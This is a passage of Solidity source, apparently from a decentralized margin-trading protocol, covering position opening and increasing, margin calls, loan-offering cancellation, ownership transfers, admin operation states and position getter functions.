bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
